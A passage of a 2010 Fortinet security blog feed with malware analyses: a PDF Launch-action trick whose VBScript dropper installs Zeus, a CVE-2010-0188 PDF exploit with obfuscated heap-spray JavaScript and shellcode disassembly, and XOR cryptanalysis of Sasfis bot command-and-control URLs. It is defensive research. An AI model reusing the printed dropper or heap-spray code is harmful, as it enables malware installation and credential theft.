			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Calibri','sans-serif';">This month,  Derek Manky, project manager, cyber security &amp; threat research at Fortinet  recorded an informative audio with Power Point presentation titled: “<a title="blocked::http://www.brighttalk.com/webcast/21721" href="http://www.brighttalk.com/webcast/21721">Threat Prevention: 2010 and  Beyond</a>.” This extremely enlightening discussion examines four real-world  vulnerabilities (Dalai Lama, JBIG2 Zero-Day PDF, Operation Aurora and IE Zero  Day) their timelines, what happened with these vulnerabilities, how the attacks  occurred and what the payload was. Derek then concludes with examples of how you  can best protect your network from becoming compromised by applying a strategic  and layered approach to security. Click the screenshot below to view the presentation.</span></p>
<p><span style="font-size: 11pt; font-family: 'Calibri','sans-serif';"><a href="http://www.brighttalk.com/webcast/21721"><img class="alignnone size-full wp-image-1400" title="Threat Prevention 2010 screenshot" src="http://blog.fortinet.com/wp-content/uploads/2010/07/Threat-Prevention-2010-screenshot.JPG" alt="Threat Prevention 2010 screenshot" width="460" height="365" /></a><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/threat-prevention-2010-and-beyond/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fret the Threat: 2010 Predictions Realized</title>
		<link>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/</link>
		<comments>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 16:25:22 +0000</pubDate>
		<dc:creator>DManky</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cloud security]]></category>
		<category><![CDATA[flash crash]]></category>
		<category><![CDATA[predictions]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Threat Landscape]]></category>
		<category><![CDATA[threats]]></category>
		<category><![CDATA[Virtualization]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1369</guid>
		<description><![CDATA[In January 2010, the Fortinet’s FortiGuard Labs threat researchers issued a report outlining their predictions for The Top 10 Security Trends for 2010. Now that we’re midway through the year, we thought it would be interesting to see how right (or wrong) we were and if anything completely unexpected has come up along the way. [...]]]></description>
			<content:encoded><![CDATA[<p>In January 2010, the Fortinet’s FortiGuard Labs threat researchers issued a report outlining their predictions for <a href="http://www.cxotoday.com/India/Market_Scan/Top_10_Security_Trends_for_2010/551-108319-1009.html">The Top 10 Security Trends for 2010</a>. Now that we’re midway through the year, we thought it would be interesting to see how right (or wrong) we were and if anything completely unexpected has come up along the way. The following report spells out the trends the team predicted at the beginning of the year and concludes with comments on where each threat exists today.</p>
<p><strong>1) Security, Virtually Speaking</strong></p>
<p><strong>January 2010: </strong>“Preventing infections from cross pollinating between virtual machines will be key in securing virtual movements of servers.”</p>
<p><strong>June 2010: </strong>With the ongoing progression of virtualization, it indeed becomes important to treat each virtual machine as if it were a physical box. For example, a worm could easily hop inter-VM on the same machine to another machine that has a completely different set of access credentials, creating a more potent infection. Virtualization adds another level of complexity, further widening the security gap. We have seen some interesting developments this year, including <a href="http://blog.fortinet.com/flash-player-vmware-vulnerability/">a unique Flash crash</a> (potentially exploitable) that only occurs in a virtualized environment.</p>
<p><strong> </strong></p>
<p><strong>2) Information, Protect Thyself</strong></p>
<p><strong>January 2010: </strong>“Information-centric security, rather than container-centric security, will be necessary in the next decade as access to data will continue to evolve outside the traditional network.”</p>
<p><strong>June 2010: </strong>We are now knee-deep in digital storage. Information can be stored anywhere: digital cameras, printers, picture frames, thumb drives, laptops / netbooks, etc. The number of containers is growing, while the sensitive information remains relatively the same. This is precisely why enterprises and administrators need to think about policies and a security framework that police information as it comes into and out of the network, no matter what the container.</p>
<p><strong> </strong></p>
<p><strong>3) Get Your Head, Not Your Security, Out of the Cloud</strong></p>
<p><strong>January 2010: </strong>“Adopting cloud-based services opens organizations up to many risks and vulnerabilities as information travels to and from protected networks via a public pipe, creating many more opportunities for data infection or theft.”</p>
<p><strong>June 2010: </strong>Information continues to flow through public pipes. For example, Facebook has now introduced social plug-ins. Information that is already available from one source is bound to be integrated to other public platforms, spreading potentially sensitive data though cyber space. Once information leaves your fingertips, it becomes very difficult−if not impossible−to control. Thus, it is extremely important to safeguard your information before it leaves your fingertips and ultimately your data store/network.</p>
<p><strong> </strong></p>
<p><strong>4) Don’t Throw the Apps Out with the Bath Water</strong></p>
<p><strong>January 2010: </strong>“Second-layer security will be adopted to help enterprises have better application control beyond just allow or not allow.”</p>
<p><strong>June 2010: </strong>As a packet travels, it will be shaped frequently. Second-layer (“layered”) security can be thought of as a waterfall filtering process with each tier able to extract hazardous material before it makes it to the next step. An example scenario with application control would be legitimate application traffic making it through the “allow policy,” only to abuse the application as the traffic arrives at the client. Intrusion prevention would be a good second-layer security mechanism in this example. We continue to see more vulnerabilities discovered and exploited in legitimate applications, further driving the need for layered security.</p>
<p><strong> </strong></p>
<p><strong>5) Security and Network Services Aren’t Strange Bedfellows</strong></p>
<p><strong>January 2010: </strong>“A natural evolution with the trend in consolidating network devices is to integrate more network functionality into security devices.”</p>
<p><strong>June 2010: </strong>Fortinet has been following this trend for years, and continues to do so after pioneering the drive towards true unified threat management (UTM). For example, Fortinet&#8217;s FortiGate appliance allows both application control and intrusion prevention on one device. While they both have different goals, the underlying packet inspection technology allows enhancement on both sides.  As the attack surface grows, appropriate security technology needs to be developed to counter-attack. Integration of these technologies and ease of management is critical for threat mitigation from an administrative standpoint. Without this approach, counter-attack simply becomes exhaustive and wastes otherwise valuable resources.</p>
<p><strong> </strong></p>
<p><strong>6) CaaS vs. SaaS</strong></p>
<p><strong>January 2010: </strong>“Cybercriminals will take a page from the new security-as-a-service (SaaS) business model to implement their own crime-as-a-service approach, a criminal “environment for hire,” so to speak.”</p>
<p><strong>June 2010: </strong>Crime services have been openly available in 2010, most notably through the use of simplified botnets &#8211; loader software that downloads and executes malware. These botnets will then report statistics back for quality control, so that the operators selling services (&#8220;loads&#8221;) can inform their customers when and where their malicious software was installed. We also continue to observe the Cutwail spam bot being distributed with different identification numbers. These are customer IDs, with each hired bot sending spam for the customers who bought them.</p>
<p><strong>7) Scareware and Affiliates Find New Ground</strong></p>
<p><strong>January 2010: </strong>“With consumers becoming wise to scareware, cybercriminals are expected to up the stakes in 2010 by holding consumers’ digital assets hostage for ransom.”</p>
<p><strong>June 2010: </strong>The rise of ransomware is no longer a myth, it&#8217;s a reality. We have witnessed several variations of ransomware emerge in 2010, from SMS-based locks to ones that kill applications until the user has paid the recovery fee. Detection levels have grown stronger in 2010, with variations of ransomware making their way into our top ten threat listings. While volume increases, attack strategy and technology continues to grow increasingly sophisticated. Combine this with solid encryption algorithms, and there is no doubt that ransomware will continue to plague cyberspace as we move through the remainder of 2010 and beyond.</p>
<p><strong>8) Money Mules Multiply</strong></p>
<p><strong>January 2010: </strong>FortiGuard said, “Unwitting consumers may find themselves accessories to a crime as cybercriminals find new “mules” to launder their ill-gotten gains.”</p>
<p><strong>June 2010: </strong>We have observed numerous instances of this trend and highlighted several examples in <a href="http://www.fortiguard.com/ListOfArticles.html">our threat reports</a>. These socially-engineered attacks dupe users into fraudulent jobs that may sound innocent by description. Typically, the recurring job descriptions we observed in 2010 were accounts receivable ones, which involved the candidate receiving and forwarding funds while taking commission. Be very cautious of such promises, as there are legal implications &#8211; if it sounds too good to be true, it generally is.</p>
<p><strong>9) Multiple Platforms in the Crosshairs:</strong></p>
<p><strong>January 2010: </strong>“With a growing number of users on new platforms, cybercriminals will target their attacks beyond Microsoft Windows.”</p>
<p><strong>June 2010: </strong>As predicted, we have seen an increase in mobile threat activity. Symbian OS still remains a favored attack platform &#8211; viruses like <a href="http://blog.fortinet.com/tag/symbosyxes/">Yxes</a> are becoming more increasingly sophisticated while others, such as <a href="http://blog.fortinet.com/reversing-the-symbian-enoriv-malware/">Enoriv</a>, are just starting to emerge. As other operating systems such as Android continue to gain momentum, they, too, could shortly pose similar threats.</p>
<p><strong>10) Botnets Hide through Legit Means</strong></p>
<p><strong>January 2010: </strong> “Botnets will no longer just obfuscate their binary codes to escape detection. Instead, they will piggyback on legitimate communications vehicles to propagate and cloak activities.”</p>
<p><strong>June 2010: </strong>This year we have described several new botnets that have come into scope, each using common protocols such as HTTP to do their dirty work. On top of this, botnets, which existed before 2010, continue to remain strong and develop their protocols to obfuscate activity. This is big business and seemingly has become a primary focus for botnet developers.</p>
<p>A new development we discovered this year was Webwail, a Web-based scripting engine that can create accounts through the Web (such as Yahoo, Hotmail, GMail, etc) and then spam through them. In order to do this, <a href="http://en.wikipedia.org/wiki/Captchas">CAPTCHAs</a> are cracked dynamically (another example of demand for a CaaS market) by a third party, so that the Web bot may proceed as if it were human. While we have only observed Webwail to create and send spam, our analysis indicates it is much more capable. For example, it could easily spam through social networks. Other new developments include mobile threats and heavy use of document-based exploits through PDF and Flash. For more information on these, please refer to our <a href="http://www.fortiguard.com/">FortiGuard Center</a> and <a href="http://blog.fortinet.com/">Blog</a> which is regularly updated to feature such content.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>0day or not today: exploit in the wild</title>
		<link>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/</link>
		<comments>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/#comments</comments>
		<pubDate>Tue, 04 May 2010 21:17:19 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Intrusion Prevention]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Bing Liu]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[Zeus]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1170</guid>
		<description><![CDATA[Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, &#8220;in the real world&#8221;. In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors [...]]]></description>
			<content:encoded><![CDATA[<p>Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a <a href="http://blog.didierstevens.com/2010/03/29/escape-from-pdf/">trick technique</a> to make it more practical, &#8220;in the real world&#8221;.</p>
<p>In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was <a href="http://blogs.adobe.com/adobereader/2010/04/didier_stevens_launch_function.html">investigating</a> this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all&#8230; and although CVE number <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1240">CVE-2010-1240</a> is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.</p>
<p>0day or not, and vulnerability or not, it *is* a threat either was &#8211; and Fortinet provided protection for the customer: &#8220;<a href="http://www.fortiguard.com/encyclopedia/virus/pdf_pidief.bv%21exploit.html">PDF/Pidief.BV!exploit</a>&#8221; for AV and &#8220;<a href="http://www.fortiguard.com/encyclopedia/vulnerability/pdf.with.launch.action.html">PDF.With.Launch.Action</a>&#8221; for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.</p>
<p>The malicious PDF document source code looks like the following:<br />
<a rel="attachment wp-att-1171" href="http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/doc/"><img class="alignnone size-full wp-image-1171" src="http://blog.fortinet.com/wp-content/uploads/2010/05/Doc.bmp" alt="PDF source" width="473" height="307" /></a></p>
<p>Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).<br />
<a rel="attachment wp-att-1172" href="http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/look/"><img class="alignnone size-full wp-image-1172" src="http://blog.fortinet.com/wp-content/uploads/2010/05/look.bmp" alt="PDF look" width="575" height="263" /></a></p>
<p>When you click the button &#8220;Open&#8221;, the following is executed:</p>
<p><em> /P (/c echo Set fso=CreateObject(&#8220;Scripting.FileSystemObject&#8221;) &gt; script.vbs [...Truncated...] &amp;&amp; script.vbs &amp;&amp; batscript.vbs</em></p>
<p>This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:</p>
<p><em> Set fso=CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
Set f=fso.OpenTextFile(&#8220;doc.pdf&#8221;, 1, True)<br />
pf=f.ReadAll<br />
s=InStr(pf,&#8221;&#8216;SS&#8221;)<br />
e=InStr(pf,&#8221;&#8216;EE&#8221;)<br />
s=Mid(pf,s,e-s)<br />
Set z=fso.OpenTextFile(&#8220;batscript.vbs&#8221;, 2, True)<br />
s = Replace(s,&#8221;%&#8221;,&#8221;")<br />
z.Write(s)</em></p>
<p>Basically, it merely extracts an embedded &#8220;batscript.vbs&#8221; in the PDF document and drops it in the current directory. This &#8220;batscript.vbs&#8221; contains the following:</p>
<p><em> Dim b<br />
Function c(d)<br />
c=chr(d)<br />
End Function<br />
b=Array(c(077),c(090),c(144),[Truncated]<br />
Set fso = CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
Set f = fso.OpenTextFile(&#8220;game.exe&#8221;, 2, True)<br />
For i = 0 To 35328<br />
f.write(b(i))<br />
Next<br />
f.close()<br />
Set WshShell = WScript.CreateObject(&#8220;WScript.Shell&#8221;)<br />
WshShell.Run &#8220;cmd.exe /c game.exe&#8221;<br />
WScript.Sleep 3000<br />
Set f  = FSO.GetFile(&#8220;game.exe&#8221;)<br />
f.Delete<br />
Set f  = FSO.GetFile(&#8220;batscript.vbs&#8221;)<br />
f.Delete<br />
Set f  = FSO.GetFile(&#8220;script.vbs&#8221;)<br />
f.Delete</em></p>
<p>This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.</p>
<p>All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click &#8220;open&#8221;.</p>
<p>Fortinet detect game.exe as <a href="http://www.fortiguard.com/encyclopedia/virus/w32_agent.djbn%21tr.html">W32/Agent.DJBN!tr</a> and the Zeus bot instance as <a href="http://www.fortiguard.com/encyclopedia/virus/lookup.html?id=1778717">W32/Zbot.AISS!tr</a>. A detailed <a href="http://www.fortiguard.com/analysis/zeusanalysis.html">analysis of the Zeus Botnet</a> is avalaible on the <a href="http://www.fortiguard.com/">Fortiguard Center</a>.</p>
<p><strong>Guillaume Lovet contributed to this post.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CVE-2010-0188: Exploit in the wild</title>
		<link>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/</link>
		<comments>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 18:21:51 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[adobe pdf]]></category>
		<category><![CDATA[cve-2010-0188]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1064</guid>
		<description><![CDATA[If you haven&#8217;t yet installed the latest patch apsb10-07 for your Adobe Reader and Acrobat, you should hurry. The exploit is in the wild! In this post I will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc), indeed found in the wild, that leverages CVE-2010-0188 in order to install a backdoor in your Microsoft Windows system. Fortinet [...]]]></description>
			<content:encoded><![CDATA[<p>If you haven&#8217;t yet installed the latest patch <a id="eikm" title="apsb10-07" href="http://www.adobe.com/support/security/bulletins/apsb10-07.html">apsb10-07</a> for your Adobe Reader and  Acrobat, you should hurry. The exploit is in the wild! In this post I  will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc),  indeed found in the wild, that leverages CVE-2010-0188 in order to  install a backdoor in your Microsoft Windows system. Fortinet detected  this sample as PDF/Adbtiff.A!exploit.CVE20100188. The test environment  is Adobe Reader 9.3.0 in Microsoft Windows XP SP3.</p>
<p>The key for  cybercriminals to exploit CVE-2010-0188 here is to embed a malicious  TIFF image in the PDF document (figure 1.1):</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/d8bjwg5_26ftzfqng8_b.bmp"><img class="alignnone size-full wp-image-1066" title="d8bjwg5_26ftzfqng8_b" src="http://blog.fortinet.com/wp-content/uploads/2010/03/d8bjwg5_26ftzfqng8_b.bmp" alt="d8bjwg5_26ftzfqng8_b" width="521" height="284" /></a></p>
<p>The uncompressed and decoded Tiff image reveals the real attack vector  (Figure 1.2): The count value in DotRange.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/2.bmp"><img class="alignnone size-full wp-image-1067" title="2" src="http://blog.fortinet.com/wp-content/uploads/2010/03/2.bmp" alt="2" width="458" height="323" /></a></p>
<p>The vulnerable plugin AcroForm.api (version 9.0.148) use this count  value without sufficient sanitization. While the target buffer is a two  bytes field on the stack, a memcpy instruction (in purple below) copies  the 100 DotRange values (200 bytes) there.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/3.bmp"><img class="alignnone size-full wp-image-1068" title="3" src="http://blog.fortinet.com/wp-content/uploads/2010/03/3.bmp" alt="3" width="544" height="296" /></a></p>
<p>As a matter of course, this  effectively smashes the stack and overwrites the return address with the  value 0x0C0C0C0C.</p>
<p>It is time to have a look at the  Javascript embed in this PDF. Following is part of the decompressed  JavaScript stream:<br />
<em>var  ____ = unescape;<br />
var  _c1 =                  &#8221;\x6c\x65\x6e\x67\x74\x68&#8243;;<br />
function _____(__){var _=&#8221;;for(var  ___=0;___&amp;lt;__[_c1];___+=4) _+=&#8217;%'+&#8217;u'+__.substr(___,4);return _;}<br />
function      rep(_    ,    __)    {    var ___    =    &#8221;"    ;    while (     &#8211;_&amp;gt;=    0) ___    +=     __    ;    return     ___;}<br />
var          sc=        ____        (     _____(&#8220;9090909090909090EB905E1a5B56068a303c1674E0c04604268aE480020f88c443&#8230;[truncated]))<br />
function  uuu(){<br />
_ = rep(128, ____    (_____        (&#8220;42424242424242424242&#8243;)))  + sc;<br />
_0 =             ____        (    _____(&#8220;0c0c0c0c&#8221;));<br />
_1 =  20    +_[_c1];<br />
while (_0[    _c1]&amp;lt;_1) _0+=_0;<br />
_2     =      _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,     _1);<br />
_3     =      _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _0[_c1    ]-_1);<br />
while(_3[_c1]      +  _1&amp;lt;0&#215;80000) _3         = _3+    _3+_2;<br />
_4= new Array();<br />
for(i=0;i&amp;lt;=192;i=i+1)     _4[i]                =_3        +_;<br />
}<br />
uuu();</em></p>
<p>This  rather nastily obfuscated JS code simply sprays the heap with an encoded  shellcode and its matching decoding stub, so that the return value  above (0x0C0C0C0C) leads to the stub execution, as shown below:</p>
<p><em>0C0C0C0C     0C 0C                    or      al, 0C<br />
[...]<br />
0C10FB26     90                       nop<br />
0C10FB27    EB 1A                     jmp     short 0C10FB43<br />
0C10FB29    5E                       pop      esi<br />
0C10FB2A    56                       push    esi<br />
0C10FB2B     5B                       pop     ebx<br />
0C10FB2C     8A06                     mov     al, byte ptr ds:[esi]<br />
0C10FB2E    3C  30                    cmp     al, 30<br />
0C10FB30    74  16                    je      short 0C10FB48; jump to decoded shellcode<br />
0C10FB32     C0E0 04                  shl     al, 4<br />
0C10FB35     46                       inc     esi<br />
0C10FB36     8A26                     mov     ah, byte ptr ds:[esi]<br />
0C10FB38     80E4 0F                  and     ah, 0F<br />
0C10FB3B     02C4                     add     al, ah<br />
0C10FB3D     8803                     mov     byte ptr ds:[ebx], al<br />
0C10FB3F     43                       inc     ebx<br />
0C10FB40     46                       inc     esi<br />
0C10FB41  ^ EB  E9                    jmp     short 0C10FB2C<br />
0C10FB43    E8  E1FFFFFF              call    0C10FB29</em>; Decoding following shellcode<br />
[...]</p>
<p>Then,  the hand is passed to the decoded shellcode, which starts&#8230; a decoding  loop. This one decrypts a file (simple xor encryption, see figure  below) before effectively dropping it as &#8220;C:\a.exe&#8221; and starting it.<br />
The  content of a.exe is also stored in the PDF file.</p>
<p>Figure 1.4  shows the code do the decoding, drop and run the  &#8220;C:\a.exe&#8221; (MD5:  779211676c099f81739e4320cbdce983).</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/4.bmp"><img class="alignnone size-full wp-image-1069" title="4" src="http://blog.fortinet.com/wp-content/uploads/2010/03/4.bmp" alt="4" width="441" height="316" /></a></p>
<p>Fortinet detects &#8220;a.exe&#8221; as W32/Emogen.DHLY!tr.dldr.</p>
<p>By the way,  the shellcode use a very simple logic to find the PDF file handle  (necessary for droping a.exe, which sits encrypted in the PDF file): It  considers it is the first file opened in this process and have a size  larger than 1000h. This logic may make mistake and lead to a crash.</p>
<p>Finally,  &#8220;a.exe&#8221; does the followingl:<br />
1. Move itself to &#8220;C:\Documents and  Settings\Current User\Local Settings&#8221; and add an entry in the registry  under key  &#8220;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#8221; for  running upon reboot.<br />
2.Prepare memory for code injection<br />
3.Start  svchost.exe and inject code in the created process</p>
<p>The poisonned  &#8220;svchost.exe&#8221; in turns connect to a fixed IP and receive/execute  commands, like a good old backdoor.</p>
<p>It must be noted, however,  that this exploit will fail if you disable Javascript or enabling  hardware-enforced DEP. Yet, a researcher named &#8220;villy&#8221; recently released  in his <a id="hz-o" title="Blog post" href="http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html">Blog post</a> a proof of concept version  (that just launches windows calculator&#8230;) that bypasses such  protections &#8212; Disabling JavaScript and hardware-enforced DEP would not  protect you from an attack using a similar strategy.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Cryptanalysis of the Sasfis Registry Key</title>
		<link>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/</link>
		<comments>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 17:10:41 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Botnets]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[sasfis]]></category>
		<category><![CDATA[sasfis registry key]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1038</guid>
		<description><![CDATA[Recently I&#8217;ve been working on an analysis of Sasfis botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named &#8220;idid&#8221;, with some random looking data in it. The data was added under the name &#8220;url0&#8243;, so it seemed like it must be an encrypted URL. Here [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been working on an analysis of <strong>Sasfis</strong> botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named <strong>&#8220;idid&#8221;</strong>, with some random looking data in it. The data was added under the name <strong>&#8220;url0&#8243;</strong>, so it seemed like it must be an encrypted URL. Here is an example from one of the bot variants:</p>
<p><span style="font-family: courier new">Key Name:          HKEY_CLASSES_ROOT\<strong>idid</strong></span></p>
<p><span style="font-family: courier new"> Name:            <strong>url0</strong></span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span></p>
<p><span style="font-family: courier new">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span></p>
<p><span style="font-family: courier new">00000020   a4 98 ba d8  2c 85 17 ad  ce c0 b1 a5  9f c8 07 0b</span></p>
<p>But what URL could this be, if it is one? Most of these bytes are not in the normal text range, so it would have to be encrypted. Even when there was no network connection, the <strong>url0</strong> data was added, so I knew it must be hard coded into the bot. From the tests I had been doing, I also knew that the bot contained a hard coded URL for its Command and Control server. So it seemed possible that the C&amp;C URL was encrypted here, but of course I would have to prove that.</p>
<p>The first 16 bytes of the <strong>url0</strong> values, from six bot tests, with their <strong>test identifiers (T3, M2 etc.)</strong>, are listed below. The list is sorted by the opening bytes. They fall into two groups where the first seven bytes are identical. The <strong>T2</strong> data is slightly different from the ones below it, but the one different byte (<strong>f1</strong>) could be the result of an encryption error.</p>
<p><span style="font-family: courier new">T3   <span style="color: #0000ff">1e 9b 6d d8  89 e6 c4</span> 50  7f fd 13 6b  fa e2 f4 17</span></p>
<p><span style="font-family: courier new">M2   <span style="color: #0000ff">1e 9b 6d d8  89 e6 c4</span> 5f  60 ff 12 7b  bd ea f3 4c</span></p>
<p><span style="font-family: courier new">T2   f1 <span style="color: #ff0000">9b 20 62  fc 48 d0</span> 3e  27 fc 1d f7  94 5a ff 3f</span></p>
<p><span style="font-family: courier new">T1   <span style="color: #ff0000">f8 9b 20 62  fc 48 d0</span> 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new">M1   <span style="color: #ff0000">f8 9b 20 62  fc 48 d0</span> 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new">M5   <span style="color: #ff0000"><span>f8 9b 20 62  fc 48 d0</span></span> 2b  2a fd 17 e2  87 46 ea 7e</span></p>
<p>Looking at this, it seems fairly likely that each group was encrypted with the same key. And if these are URLs, the seven common bytes at the beginning of each line could be <strong>&#8220;http://&#8221;</strong>, if we are on the right track.</p>
<p>The obvious move at this point is to test this theory. We can start with the first row of hex data from the <strong>T3</strong> and <strong>M2</strong> tests, recover the key for <strong>T3</strong> using the hard coded URL for that variant, then find out if the key is correct by decrypting <strong>M2</strong> with it. The worksheet below shows the hard coded <strong>URL</strong> and the <strong>url0</strong> registry data for<strong> T3</strong> in the first two lines. At the bottom is the URL in <strong>text</strong> format and in the <strong>plain</strong> line are the equivalent hex bytes.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17 (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new"> (url in hex format)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (</span><span style="font-family: courier new">known URL)</span></p>
<p>We will assume that the key was <strong>XOR</strong>ed with the plaintext to produce this encryption. That is the most likely case, but if we are wrong it will be necessary to try some other methods. From this basis we will now <strong>XOR</strong> the <strong>encrypted</strong> and <strong>plain</strong> bytes to recover the <strong>key</strong>.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span><span style="font-family: courier new"> (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new"> (recovered key)</span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new"> (url in hex format)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (</span><span style="font-family: courier new">known URL)</span></p>
<p>Now we have some key bytes, but there is no proof that they are real. To prove that, we can use the key bytes to decrypt <strong>M2</strong>. The result is below. Part of the URL that is hard coded into the <strong>M2</strong> bot has been revealed.</p>
<p><strong>M2</strong> <span style="font-family: courier new">http://hqdedikit.com/mld/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c</span><span style="font-family: courier new"> (encrypted in reg)</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new"> (recovered key)</span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"><span>plain      68 74 74 70  3a 2f 2f 68  71 64 65 64  69 6b 69 74</span></span> (decrypted hex)</span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  h   q  d  e  d   i  k  i  t  (decrypted text)</span></p>
<p>So our case is proved, the hard coded URL is the one hidden in the registry key. We can easily extend this through the rest of the encrypted data to show the whole URL, and remove any lingering doubt.</p>
<p><strong>But what would we do if each bot variant had its own key?</strong> The method above would not work, but there are other ways to approach this problem. One way is to check whether this is a repeating key encryption system. They are very common, and if it is we can make comparisons within one URL, instead of using two as we did above.</p>
<p>Let&#8217;s try this method with <strong>T3</strong>. The simple way is to use the whole URL to find as many key bytes as possible, then look for repetitions.</p>
<p><strong>T3</strong> <span style="font-family: courier new">http://gnfdt.cn/loader/bb.php</span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span></p>
